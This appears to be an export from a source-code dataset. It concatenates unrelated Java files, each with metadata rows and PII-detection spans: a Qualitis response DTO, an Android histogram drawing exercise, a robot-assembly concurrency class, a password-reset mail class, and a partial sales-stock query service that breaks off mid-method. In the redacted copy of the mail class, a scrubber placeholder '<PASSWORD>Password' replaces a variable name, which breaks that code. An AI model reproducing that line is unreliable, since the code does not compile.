* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.webank.wedatasphere.qualitis.rule.response;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.webank.wedatasphere.qualitis.rule.entity.TemplateRegexpExpr;
import com.webank.wedatasphere.qualitis.rule.entity.TemplateMidTableInputMeta;
import com.webank.wedatasphere.qualitis.rule.entity.TemplateMidTableInputMeta;
import com.webank.wedatasphere.qualitis.rule.entity.TemplateRegexpExpr;
import java.util.ArrayList;
import java.util.List;
/**
* @author howeye
*/
public class PlaceholderResponse {
private String placeholder;
@JsonProperty("placeholder_id")
private Long placeholderId;
@JsonProperty("enum_value")
private List<EnumValueResponse> enumValue;
@JsonProperty("input_type")
private Integer inputType;
@JsonProperty("placeholder_description")
private String placeholderDescription;
public PlaceholderResponse() {
}
public PlaceholderResponse(TemplateMidTableInputMeta templateMidTableInputMeta) {
this.placeholder = "${" + templateMidTableInputMeta.getPlaceholder() + "}";
this.placeholderId = templateMidTableInputMeta.getId();
this.inputType = templateMidTableInputMeta.getInputType();
this.placeholderDescription = templateMidTableInputMeta.getPlaceholderDescription();
}
public PlaceholderResponse(TemplateMidTableInputMeta templateMidTableInputMeta, List<TemplateRegexpExpr> templateRegexpExprs) {
this.placeholder = "${" + templateMidTableInputMeta.getPlaceholder() + "}";
this.placeholderId = templateMidTableInputMeta.getId();
this.inputType = templateMidTableInputMeta.getInputType();
this.placeholderDescription = templateMidTableInputMeta.getPlaceholderDescription();
enumValue = new ArrayList<>();
for (TemplateRegexpExpr templateRegexpExpr : templateRegexpExprs) {
enumValue.add(new EnumValueResponse(templateRegexpExpr));
}
}
public String getPlaceholder() {
return placeholder;
}
public void setPlaceholder(String placeholder) {
this.placeholder = placeholder;
}
public Integer getInputType() {
return inputType;
}
public void setInputType(Integer inputType) {
this.inputType = inputType;
}
public Long getPlaceholderId() {
return placeholderId;
}
public void setPlaceholderId(Long placeholderId) {
this.placeholderId = placeholderId;
}
public List<EnumValueResponse> getEnumValue() {
return enumValue;
}
public void setEnumValue(List<EnumValueResponse> enumValue) {
this.enumValue = enumValue;
}
public String getPlaceholderDescription() {
return placeholderDescription;
}
public void setPlaceholderDescription(String placeholderDescription) {
this.placeholderDescription = placeholderDescription;
}
}
|
UTF-8
|
Java
| 3,480 |
java
|
PlaceholderResponse.java
|
Java
|
[
{
"context": ".ArrayList;\nimport java.util.List;\n\n/**\n * @author howeye\n */\npublic class PlaceholderResponse {\n\n priva",
"end": 1075,
"score": 0.9995225071907043,
"start": 1069,
"tag": "USERNAME",
"value": "howeye"
}
] | null |
[] |
/*
* Copyright 2019 WeBank
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.webank.wedatasphere.qualitis.rule.response;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.webank.wedatasphere.qualitis.rule.entity.TemplateRegexpExpr;
import com.webank.wedatasphere.qualitis.rule.entity.TemplateMidTableInputMeta;
import com.webank.wedatasphere.qualitis.rule.entity.TemplateMidTableInputMeta;
import com.webank.wedatasphere.qualitis.rule.entity.TemplateRegexpExpr;
import java.util.ArrayList;
import java.util.List;
/**
* @author howeye
*/
public class PlaceholderResponse {
private String placeholder;
@JsonProperty("placeholder_id")
private Long placeholderId;
@JsonProperty("enum_value")
private List<EnumValueResponse> enumValue;
@JsonProperty("input_type")
private Integer inputType;
@JsonProperty("placeholder_description")
private String placeholderDescription;
public PlaceholderResponse() {
}
public PlaceholderResponse(TemplateMidTableInputMeta templateMidTableInputMeta) {
this.placeholder = "${" + templateMidTableInputMeta.getPlaceholder() + "}";
this.placeholderId = templateMidTableInputMeta.getId();
this.inputType = templateMidTableInputMeta.getInputType();
this.placeholderDescription = templateMidTableInputMeta.getPlaceholderDescription();
}
public PlaceholderResponse(TemplateMidTableInputMeta templateMidTableInputMeta, List<TemplateRegexpExpr> templateRegexpExprs) {
this.placeholder = "${" + templateMidTableInputMeta.getPlaceholder() + "}";
this.placeholderId = templateMidTableInputMeta.getId();
this.inputType = templateMidTableInputMeta.getInputType();
this.placeholderDescription = templateMidTableInputMeta.getPlaceholderDescription();
enumValue = new ArrayList<>();
for (TemplateRegexpExpr templateRegexpExpr : templateRegexpExprs) {
enumValue.add(new EnumValueResponse(templateRegexpExpr));
}
}
public String getPlaceholder() {
return placeholder;
}
public void setPlaceholder(String placeholder) {
this.placeholder = placeholder;
}
public Integer getInputType() {
return inputType;
}
public void setInputType(Integer inputType) {
this.inputType = inputType;
}
public Long getPlaceholderId() {
return placeholderId;
}
public void setPlaceholderId(Long placeholderId) {
this.placeholderId = placeholderId;
}
public List<EnumValueResponse> getEnumValue() {
return enumValue;
}
public void setEnumValue(List<EnumValueResponse> enumValue) {
this.enumValue = enumValue;
}
public String getPlaceholderDescription() {
return placeholderDescription;
}
public void setPlaceholderDescription(String placeholderDescription) {
this.placeholderDescription = placeholderDescription;
}
}
| 3,480 | 0.733908 | 0.731609 | 104 | 32.46154 | 29.86377 | 131 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.375 | false | false |
8
|
282eed21540f8abd757e4f680701ca4d519a4444
| 30,855,045,118,203 |
e8f5685f6ba5f2444e4cb980edd41221b683e7bb
|
/PracticeView_1/app/src/main/java/com/fkewksai/practice/view/customize/Practice10HistogramView.java
|
bc04df7063cbeb9d4c944ce42c94fc37d86cb93e
|
[] |
no_license
|
xuefengyuan/Customize_View
|
https://github.com/xuefengyuan/Customize_View
|
a9971a1c1b5cd8c6fc548ec5721d4aa919203d09
|
e0b94f500a2e5b563f847f086d63c5d3edfa262a
|
refs/heads/master
| 2019-06-16T21:56:07.020000 | 2017-12-28T07:00:11 | 2017-12-28T07:00:11 | 99,425,308 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.fkewksai.practice.view.customize;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.support.annotation.Nullable;
import android.util.AttributeSet;
import android.view.View;
public class Practice10HistogramView extends View {
public Practice10HistogramView(Context context) {
super(context);
}
public Practice10HistogramView(Context context, @Nullable AttributeSet attrs) {
super(context, attrs);
}
public Practice10HistogramView(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
}
@Override
protected void onDraw(Canvas canvas) {
super.onDraw(canvas);
// 综合练习
// 练习内容:使用各种 Canvas.drawXXX() 方法画直方图
Paint paint = new Paint();
paint.setColor(Color.WHITE);
canvas.drawLine(100,100,100,600,paint);
canvas.drawLine(100,600,1000,602,paint);
canvas.drawRect(150,590,230,600,paint);
paint.setColor(Color.GREEN);
canvas.drawRect(250,580,330,600,paint);
canvas.drawRect(350,570,430,600,paint);
canvas.drawRect(450,400,530,600,paint);
canvas.drawRect(550,350,630,600,paint);
canvas.drawRect(650,200,730,600,paint);
canvas.drawRect(750,450,830,600,paint);
paint.setTextSize(26);
paint.setColor(Color.WHITE);
canvas.drawText("Froyo",145,625,paint);
canvas.drawText("GB",275,625,paint);
canvas.drawText("ICS",375,625,paint);
canvas.drawText("JB",465,625,paint);
canvas.drawText("Kitkat",555,625,paint);
canvas.drawText("L",675,625,paint);
canvas.drawText("M",775,625,paint);
}
}
|
UTF-8
|
Java
| 1,820 |
java
|
Practice10HistogramView.java
|
Java
|
[
{
"context": "t.setColor(Color.WHITE);\n canvas.drawText(\"Froyo\",145,625,paint);\n canvas.drawText(\"GB\"",
"end": 1479,
"score": 0.6203055381774902,
"start": 1478,
"tag": "NAME",
"value": "F"
},
{
"context": "ext(\"JB\",465,625,paint);\n canvas.drawText(\"Kitkat\",555,625,paint);\n canvas.drawText(\"L\",675,",
"end": 1668,
"score": 0.9988793134689331,
"start": 1662,
"tag": "NAME",
"value": "Kitkat"
}
] | null |
[] |
package com.fkewksai.practice.view.customize;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.support.annotation.Nullable;
import android.util.AttributeSet;
import android.view.View;
public class Practice10HistogramView extends View {
public Practice10HistogramView(Context context) {
super(context);
}
public Practice10HistogramView(Context context, @Nullable AttributeSet attrs) {
super(context, attrs);
}
public Practice10HistogramView(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
}
@Override
protected void onDraw(Canvas canvas) {
super.onDraw(canvas);
// 综合练习
// 练习内容:使用各种 Canvas.drawXXX() 方法画直方图
Paint paint = new Paint();
paint.setColor(Color.WHITE);
canvas.drawLine(100,100,100,600,paint);
canvas.drawLine(100,600,1000,602,paint);
canvas.drawRect(150,590,230,600,paint);
paint.setColor(Color.GREEN);
canvas.drawRect(250,580,330,600,paint);
canvas.drawRect(350,570,430,600,paint);
canvas.drawRect(450,400,530,600,paint);
canvas.drawRect(550,350,630,600,paint);
canvas.drawRect(650,200,730,600,paint);
canvas.drawRect(750,450,830,600,paint);
paint.setTextSize(26);
paint.setColor(Color.WHITE);
canvas.drawText("Froyo",145,625,paint);
canvas.drawText("GB",275,625,paint);
canvas.drawText("ICS",375,625,paint);
canvas.drawText("JB",465,625,paint);
canvas.drawText("Kitkat",555,625,paint);
canvas.drawText("L",675,625,paint);
canvas.drawText("M",775,625,paint);
}
}
| 1,820 | 0.671717 | 0.581369 | 57 | 30.263159 | 22.131605 | 101 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.684211 | false | false |
8
|
657d27b9d7eb3e73274e47b62046b6c745415a68
| 32,083,405,755,663 |
e26977736b7e20acc54558e2751b9d4f5682f205
|
/src/q2/monitor/robots/WhiskerAttacher.java
|
9014c9f4f5ef66c5c3cd912c86c7afed0e260e12
|
[] |
no_license
|
nima200/concurrency-a2
|
https://github.com/nima200/concurrency-a2
|
f4281805a24e53a6cc0c26d348761764fb5fc67a
|
4596711c3f5a073e382dec8eaebdccf7a5112153
|
refs/heads/master
| 2021-03-27T19:15:15.801000 | 2018-02-20T03:01:41 | 2018-02-20T03:01:41 | 121,176,597 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package q2.monitor.robots;
import q2.monitor.Bins;
import q2.Robot;
import q2.parts.Head;
import q2.parts.Whisker;
import util.Util;
public class WhiskerAttacher extends Robot {
private final Bins aBins;
public WhiskerAttacher(Bins pBins, String pName) {
setName(pName);
aBins = pBins;
}
@Override
public void run() {
long start;
long stop;
while (true) {
Head head = null;
boolean headHadEyes = false;
/* Check if there exists a head with eyes on it
* If so, take that head, attach whiskers, and put it in the completed heads bin
* If not, attach whiskers on a blank head and put it in the heads with whiskers bin */
start = System.currentTimeMillis();
synchronized (aBins.getHeadWithEyes()) {
stop = System.currentTimeMillis();
idleTime += stop - start;
if (!aBins.getHeadWithEyes().isEmpty()) {
head = aBins.getHeadWithEyes().pop();
headHadEyes = true;
}
}
if (!headHadEyes) {
start = System.currentTimeMillis();
synchronized (aBins.getHeads()) {
stop = System.currentTimeMillis();
idleTime += stop - start;
head = aBins.getHeads().pop();
}
}
/* Make space for 6 whiskers */
Whisker[] whiskers = new Whisker[6];
/* Take 6 whiskers from the whisker bin */
start = System.currentTimeMillis();
synchronized (aBins.getWhiskers()) {
stop = System.currentTimeMillis();
idleTime += stop - start;
for (int i = 0; i < whiskers.length; i++) {
whiskers[i] = aBins.getWhiskers().pop();
}
}
/* Attach the whiskers to the head */
head.attachWhiskers(whiskers);
/* If the head had a eyes on it already, put it in the completed heads bin
* If not, put it in the heads with whiskers bin */
if (headHadEyes) {
start = System.currentTimeMillis();
synchronized (aBins.getHeadCompleted()) {
stop = System.currentTimeMillis();
idleTime += stop - start;
/* Put the head in the completed heads bin */
aBins.getHeadCompleted().push(head);
/* Notify about production of completed head */
aBins.getHeadCompleted().notify();
}
} else {
start = System.currentTimeMillis();
synchronized (aBins.getHeadWithWhiskers()) {
stop = System.currentTimeMillis();
idleTime += stop - start;
/* Put the head in the heads with whiskers bin */
aBins.getHeadWithWhiskers().push(head);
/* Do not need to notify about production */
}
}
try {
/* Simulate assembly time */
Thread.sleep(Util.randInt(20, 60));
} catch (InterruptedException ignored) {
return;
}
}
}
}
|
UTF-8
|
Java
| 3,377 |
java
|
WhiskerAttacher.java
|
Java
|
[] | null |
[] |
package q2.monitor.robots;
import q2.monitor.Bins;
import q2.Robot;
import q2.parts.Head;
import q2.parts.Whisker;
import util.Util;
public class WhiskerAttacher extends Robot {
private final Bins aBins;
public WhiskerAttacher(Bins pBins, String pName) {
setName(pName);
aBins = pBins;
}
@Override
public void run() {
long start;
long stop;
while (true) {
Head head = null;
boolean headHadEyes = false;
/* Check if there exists a head with eyes on it
* If so, take that head, attach whiskers, and put it in the completed heads bin
* If not, attach whiskers on a blank head and put it in the heads with whiskers bin */
start = System.currentTimeMillis();
synchronized (aBins.getHeadWithEyes()) {
stop = System.currentTimeMillis();
idleTime += stop - start;
if (!aBins.getHeadWithEyes().isEmpty()) {
head = aBins.getHeadWithEyes().pop();
headHadEyes = true;
}
}
if (!headHadEyes) {
start = System.currentTimeMillis();
synchronized (aBins.getHeads()) {
stop = System.currentTimeMillis();
idleTime += stop - start;
head = aBins.getHeads().pop();
}
}
/* Make space for 6 whiskers */
Whisker[] whiskers = new Whisker[6];
/* Take 6 whiskers from the whisker bin */
start = System.currentTimeMillis();
synchronized (aBins.getWhiskers()) {
stop = System.currentTimeMillis();
idleTime += stop - start;
for (int i = 0; i < whiskers.length; i++) {
whiskers[i] = aBins.getWhiskers().pop();
}
}
/* Attach the whiskers to the head */
head.attachWhiskers(whiskers);
/* If the head had a eyes on it already, put it in the completed heads bin
* If not, put it in the heads with whiskers bin */
if (headHadEyes) {
start = System.currentTimeMillis();
synchronized (aBins.getHeadCompleted()) {
stop = System.currentTimeMillis();
idleTime += stop - start;
/* Put the head in the completed heads bin */
aBins.getHeadCompleted().push(head);
/* Notify about production of completed head */
aBins.getHeadCompleted().notify();
}
} else {
start = System.currentTimeMillis();
synchronized (aBins.getHeadWithWhiskers()) {
stop = System.currentTimeMillis();
idleTime += stop - start;
/* Put the head in the heads with whiskers bin */
aBins.getHeadWithWhiskers().push(head);
/* Do not need to notify about production */
}
}
try {
/* Simulate assembly time */
Thread.sleep(Util.randInt(20, 60));
} catch (InterruptedException ignored) {
return;
}
}
}
}
| 3,377 | 0.498667 | 0.494818 | 93 | 35.311829 | 23.017515 | 99 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.526882 | false | false |
8
|
dc6c3deb4ed7d2655fae446c63269ee4cec819b2
| 37,177,236,934,671 |
37199029f82cb21fe13bb492ef2e6e40334251f1
|
/ontrack/src/main/java/br/com/oncast/ontrack/server/services/email/PasswordResetMail.java
|
208538565a81017c53e68b58e21d81010dc1900d
|
[] |
no_license
|
guivirtuoso/OnTrack
|
https://github.com/guivirtuoso/OnTrack
|
410ebe41ce94a514d6f1924a379a104bfe1f9e7f
|
806cd9defab52fcd6cf898611e595a85e6a18917
|
refs/heads/master
| 2019-04-08T11:14:39.755000 | 2014-11-19T17:52:24 | 2014-11-19T17:52:24 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package br.com.oncast.ontrack.server.services.email;
import java.util.Arrays;
import java.util.List;
public class PasswordResetMail implements OnTrackMail {
private final String sendTo;
private final String generatedPassword;
private PasswordResetMail(final String sendTo, final String generatedPassword) {
this.sendTo = sendTo;
this.generatedPassword = generatedPassword;
}
public static PasswordResetMail getMail(final String userEmail, final String generatedPassword) {
return new PasswordResetMail(userEmail, generatedPassword);
}
@Override
public String getSubject() {
return "[OnTrack] Password reset";
}
@Override
public String getTemplatePath() {
return "/br/com/oncast/ontrack/server/services/email/authMailPassReset.html";
}
@Override
public MailVariableValuesMap getParameters() {
final MailVariableValuesMap context = new MailVariableValuesMap();
context.put("userEmail", sendTo);
context.put("generatedPassword", generatedPassword);
return context;
}
@Override
public List<String> getRecipients() {
return Arrays.asList(sendTo);
}
}
|
UTF-8
|
Java
| 1,093 |
java
|
PasswordResetMail.java
|
Java
|
[
{
"context": "\t\tthis.sendTo = sendTo;\n\t\tthis.generatedPassword = generatedPassword;\n\t}\n\n\tpublic static PasswordResetMail get",
"end": 374,
"score": 0.8519617915153503,
"start": 365,
"tag": "PASSWORD",
"value": "generated"
},
{
"context": "mail\", sendTo);\n\t\tcontext.put(\"generatedPassword\", generatedPassword);\n\t\treturn context;\n\t}\n\n\t@Override\n\tpubli",
"end": 973,
"score": 0.7458211779594421,
"start": 964,
"tag": "PASSWORD",
"value": "generated"
}
] | null |
[] |
package br.com.oncast.ontrack.server.services.email;
import java.util.Arrays;
import java.util.List;
public class PasswordResetMail implements OnTrackMail {
private final String sendTo;
private final String generatedPassword;
private PasswordResetMail(final String sendTo, final String generatedPassword) {
this.sendTo = sendTo;
this.generatedPassword = <PASSWORD>Password;
}
public static PasswordResetMail getMail(final String userEmail, final String generatedPassword) {
return new PasswordResetMail(userEmail, generatedPassword);
}
@Override
public String getSubject() {
return "[OnTrack] Password reset";
}
@Override
public String getTemplatePath() {
return "/br/com/oncast/ontrack/server/services/email/authMailPassReset.html";
}
@Override
public MailVariableValuesMap getParameters() {
final MailVariableValuesMap context = new MailVariableValuesMap();
context.put("userEmail", sendTo);
context.put("generatedPassword", <PASSWORD>Password);
return context;
}
@Override
public List<String> getRecipients() {
return Arrays.asList(sendTo);
}
}
| 1,095 | 0.779506 | 0.779506 | 42 | 25.023809 | 26.275543 | 98 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.380952 | false | false |
8
|
c52ea3e5aed6acb86509f2b7bb49f6414adc038a
| 18,519,899,047,530 |
4f06a06f09365e120a02c48e514790180bfb9f17
|
/jshl-manager/src/main/java/com/bsl/service/sale/impl/SaleProdServiceImpl.java
|
3e5930c0dfbf641b848aa9da525831a2e203a8b3
|
[] |
no_license
|
dukang199409/hnjg
|
https://github.com/dukang199409/hnjg
|
a37690ed14e5b06bc98e3fbba38e8fe83eb42e44
|
e18d2b3d2eda57e4d6a19e34cdcff4c8bcf67f48
|
refs/heads/main
| 2023-07-13T22:17:18.974000 | 2021-08-28T08:53:08 | 2021-08-28T08:53:08 | 358,170,013 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.bsl.service.sale.impl;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;
import com.bsl.common.pojo.BSLException;
import com.bsl.common.utils.BSLResult;
import com.bsl.dao.JedisClient;
import com.bsl.mapper.BslBsPlanInfoMapper;
import com.bsl.mapper.BslProductInfoMapper;
import com.bsl.mapper.BslSaleInfoDetailMapper;
import com.bsl.mapper.BslStockChangeDetailMapper;
import com.bsl.mapper.BslWasteWeightInfoMapper;
import com.bsl.pojo.BslBsPlanInfo;
import com.bsl.pojo.BslProductInfo;
import com.bsl.pojo.BslProductInfoExample;
import com.bsl.pojo.BslProductInfoExample.Criteria;
import com.bsl.pojo.BslSaleInfoDetail;
import com.bsl.pojo.BslSaleInfoDetailExample;
import com.bsl.pojo.BslStockChangeDetail;
import com.bsl.select.DictItemOperation;
import com.bsl.select.ErrorCodeInfo;
import com.bsl.select.QueryCriteria;
import com.bsl.service.sale.SaleDetailService;
import com.bsl.service.sale.SalePlanService;
import com.bsl.service.sale.SaleProdService;
import com.github.pagehelper.PageHelper;
import com.github.pagehelper.PageInfo;
import com.google.common.base.CaseFormat;
/**
* 销售出库产品管理实现类 duk-20190319
*/
@Service
public class SaleProdServiceImpl implements SaleProdService {
@Autowired
BslBsPlanInfoMapper bslBsPlanInfoMapper;
@Autowired
BslSaleInfoDetailMapper bslSaleInfoDetailMapper;
@Autowired
BslWasteWeightInfoMapper bslWasteWeightInfoMapper;
@Autowired
BslProductInfoMapper bslProductInfoMapper;
@Autowired
BslStockChangeDetailMapper bslStockChangeDetailMapper;
@Autowired
SalePlanService salePlanService;
@Autowired
SaleDetailService saleDetailService;
@Autowired
private JedisClient jedisClient;
@Value("${REDIS_NEXT_STOCKCHANGE_ID}")
private String REDIS_NEXT_STOCKCHANGE_ID;
/**
* 库存变动流水自动生成编号 CH+日期+4位序号
*
* @return
*/
public String createStockChangeId() {
long incr = jedisClient.incr(REDIS_NEXT_STOCKCHANGE_ID);
SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMdd");
String rawId = String.format("CH%s%04d", sdf.format(new Date()), incr);
return rawId;
}
/**
* 根据条件查询可以出库的产品信息
*/
@Override
public BSLResult getCanOutProdsService(QueryCriteria queryCriteria) {
List<BslProductInfo> prodsSelect = new ArrayList<BslProductInfo>();
long total = 0;
List<String> prodIds = new ArrayList<String>();
//根据三个条件分别查询,然后取交集
if(!StringUtils.isBlank(queryCriteria.getSalePlanId())){
List<BslProductInfo> prodsBySalePlanId = getProdsBySalePlanId(queryCriteria.getSalePlanId());
if(prodsBySalePlanId != null && prodsBySalePlanId.size()>0){
List<String> prodIds1 = new ArrayList<String>();
for (BslProductInfo bslProductInfo : prodsBySalePlanId) {
prodIds1.add(bslProductInfo.getProdId());
}
if(prodIds.size()>0){
prodIds.retainAll(prodIds1);
}else{
prodIds.addAll(prodIds1);
}
}
}
if(!StringUtils.isBlank(queryCriteria.getSaleSerno())){
List<BslProductInfo> prodsBySaleSerno = getProdsBySaleSerno(queryCriteria.getSaleSerno());
if(prodsBySaleSerno != null && prodsBySaleSerno.size()>0){
List<String> prodIds1 = new ArrayList<String>();
for (BslProductInfo bslProductInfo : prodsBySaleSerno) {
prodIds1.add(bslProductInfo.getProdId());
}
if(prodIds.size()>0){
prodIds.retainAll(prodIds1);
}else{
prodIds.addAll(prodIds1);
}
}
}
if(!StringUtils.isBlank(queryCriteria.getProdId())){
List<BslProductInfo> prodsByProdId = getProdsByProdId(queryCriteria.getProdId());
if(prodsByProdId != null && prodsByProdId.size()>0){
List<String> prodIds1 = new ArrayList<String>();
for (BslProductInfo bslProductInfo : prodsByProdId) {
prodIds1.add(bslProductInfo.getProdId());
}
if(prodIds.size()>0){
prodIds.retainAll(prodIds1);
}else{
prodIds.addAll(prodIds1);
}
}
}
//为了分页查询,重新查下
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
if(prodIds.size()>0){
criteria.andProdIdIn(prodIds);
if(!StringUtils.isBlank(queryCriteria.getProdOrirawid())){
criteria.andProdOrirawidEqualTo(queryCriteria.getProdOrirawid());
}
if(StringUtils.isBlank(queryCriteria.getSort()) || StringUtils.isBlank(queryCriteria.getOrder())){
selectExample.setOrderByClause("`prod_id` desc");
}else{
String sortSql = CaseFormat.LOWER_CAMEL.to(CaseFormat.LOWER_UNDERSCORE, queryCriteria.getSort());
if(!StringUtils.isBlank(sortSql)){
selectExample.setOrderByClause("`"+sortSql+"` "+ queryCriteria.getOrder());
}
}
// 分页处理
PageHelper.startPage(Integer.parseInt(queryCriteria.getPage()), Integer.parseInt(queryCriteria.getRows()));
// 调用sql查询
prodsSelect = bslProductInfoMapper.selectByExample(selectExample);
PageInfo<BslProductInfo> pageInfo = new PageInfo<BslProductInfo>(prodsSelect);
total = pageInfo.getTotal();
}
return BSLResult.ok(total,prodsSelect);
}
/**
* 根据通知单号查询可以出库的产品信息
*/
public List<BslProductInfo> getProdsBySalePlanId(String salePlanId){
//记录返回可出库产品信息
List<BslProductInfo> prodsBySalePlanId = new ArrayList<BslProductInfo>();
//查询实体类
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
//已入库的才能出库
criteria.andProdStatusEqualTo(DictItemOperation.产品状态_已入库);
/*//获取通知单对应类别
BslBsPlanInfo bslBsPlanInfo = bslBsPlanInfoMapper.selectByPrimaryKey(salePlanId);
if(DictItemOperation.收发类别_待处理品处理发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdTypeEqualTo(DictItemOperation.产品类型_待处理品);
prodsBySalePlanId = bslProductInfoMapper.selectByExample(selectExample);
}else{*/
//查询该通知单下所有计划
BslSaleInfoDetailExample bslSaleInfoDetailExample = new BslSaleInfoDetailExample();
com.bsl.pojo.BslSaleInfoDetailExample.Criteria criteriaDetail = bslSaleInfoDetailExample.createCriteria();
criteriaDetail.andSalePlanIdEqualTo(salePlanId);
List<BslSaleInfoDetail> bslSaleInfoDetails = bslSaleInfoDetailMapper.selectByExample(bslSaleInfoDetailExample);
//循环查询可以出库的信息(先去重再增加)
for (BslSaleInfoDetail bslSaleInfoDetail : bslSaleInfoDetails) {
List<BslProductInfo> prods = getProdsBySaleSerno(bslSaleInfoDetail.getSaleSerno());
if(prods != null && prods.size()>0){
prodsBySalePlanId.removeAll(prods);
prodsBySalePlanId.addAll(prods);
}
}
//}
return prodsBySalePlanId;
}
/**
* 根据流水计划查询可以出库的产品信息
*/
public List<BslProductInfo> getProdsBySaleSerno(String saleSerno){
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
//已入库的才能出库
criteria.andProdStatusEqualTo(DictItemOperation.产品状态_已入库);
//获取流水信息
BslSaleInfoDetail bslSaleInfoDetail = bslSaleInfoDetailMapper.selectByPrimaryKey(saleSerno);
if(bslSaleInfoDetail == null){
return null;
}
if(DictItemOperation.销售单出库标志_已发货.equals(bslSaleInfoDetail.getSaleStatus())){
return null;
}
//获取通知单对应类别
BslBsPlanInfo bslBsPlanInfo = bslBsPlanInfoMapper.selectByPrimaryKey(bslSaleInfoDetail.getSalePlanId());
if(DictItemOperation.收发类别_半成品发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdTypeEqualTo(DictItemOperation.产品类型_半成品);
criteria.andProdUserTypeNotEqualTo(DictItemOperation.纵剪带用途_自用);
}else if(DictItemOperation.收发类别_卷板退货.equals(bslBsPlanInfo.getBsFlag()) || DictItemOperation.收发类别_卷板销售发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdTypeEqualTo(DictItemOperation.产品类型_卷板);
}else if(DictItemOperation.收发类别_成品发货.equals(bslBsPlanInfo.getBsFlag()) || DictItemOperation.收发类别_成品转场发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdTypeEqualTo(DictItemOperation.产品类型_成品);
criteria.andProdDclFlagEqualTo(DictItemOperation.产品外协厂标志_本厂);
}else if(DictItemOperation.收发类别_委外仓成品发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdTypeEqualTo(DictItemOperation.产品类型_成品);
criteria.andProdDclFlagNotEqualTo(DictItemOperation.产品外协厂标志_本厂);
}else if(DictItemOperation.收发类别_待处理品处理发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdTypeEqualTo(DictItemOperation.产品类型_待处理品);
criteria.andProdDclFlagEqualTo(DictItemOperation.产品外协厂标志_本厂);
}else{
return null;
}
//如果该流水按产品编号销售出库,增加产品编号
if(DictItemOperation.销售单出库标准_按产品编号销售出库.equals(bslSaleInfoDetail.getSaleFlag())){
criteria.andProdIdEqualTo(bslSaleInfoDetail.getProdId());
}else{
//如果是按重量/数量出库,增加规格钢种
criteria.andProdMaterialEqualTo(bslSaleInfoDetail.getProdMaterial());
criteria.andProdNormEqualTo(bslSaleInfoDetail.getProdNorm());
//成品发货还要增加定尺
if(DictItemOperation.收发类别_成品发货.equals(bslBsPlanInfo.getBsFlag()) ||
DictItemOperation.收发类别_委外仓成品发货.equals(bslBsPlanInfo.getBsFlag())
|| DictItemOperation.收发类别_成品转场发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdLengthEqualTo(bslSaleInfoDetail.getProdLength());
}
}
List<BslProductInfo> prodsBySaleSerno = bslProductInfoMapper.selectByExample(selectExample);
return prodsBySaleSerno;
}
/**
* 根据编号查询可以出库的产品信息
*/
public List<BslProductInfo> getProdsByProdId(String prodId){
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
//已入库的才能出库
criteria.andProdStatusEqualTo(DictItemOperation.产品状态_已入库);
criteria.andProdIdEqualTo(prodId);
List<BslProductInfo> prodsByProdId = bslProductInfoMapper.selectByExample(selectExample);
return prodsByProdId;
}
/**
* 根据条件查询已经出库的产品信息
*/
@Override
public BSLResult getOutProdsService(QueryCriteria queryCriteria) {
List<BslProductInfo> prodsSelect = new ArrayList<BslProductInfo>();
long total = 0;
List<String> prods = new ArrayList<String>();
//根据三个条件分别查询,然后取交集
if(!StringUtils.isBlank(queryCriteria.getSalePlanId())){
List<BslProductInfo> prodsBySalePlanId = getOutProdsBySalePlanId(queryCriteria.getSalePlanId());
if(prodsBySalePlanId != null && prodsBySalePlanId.size()>0){
List<String> prodIds1 = new ArrayList<String>();
for (BslProductInfo bslProductInfo : prodsBySalePlanId) {
prodIds1.add(bslProductInfo.getProdId());
}
if(prods.size()>0){
prods.retainAll(prodIds1);
}else{
prods.addAll(prodIds1);
}
}
}
if(!StringUtils.isBlank(queryCriteria.getSaleSerno())){
List<BslProductInfo> prodsBySaleSerno = getOutProdsBySaleSerno(queryCriteria.getSaleSerno());
if(prodsBySaleSerno != null && prodsBySaleSerno.size()>0){
List<String> prodIds1 = new ArrayList<String>();
for (BslProductInfo bslProductInfo : prodsBySaleSerno) {
prodIds1.add(bslProductInfo.getProdId());
}
if(prods.size()>0){
prods.retainAll(prodIds1);
}else{
prods.addAll(prodIds1);
}
}
}
if(!StringUtils.isBlank(queryCriteria.getProdId())){
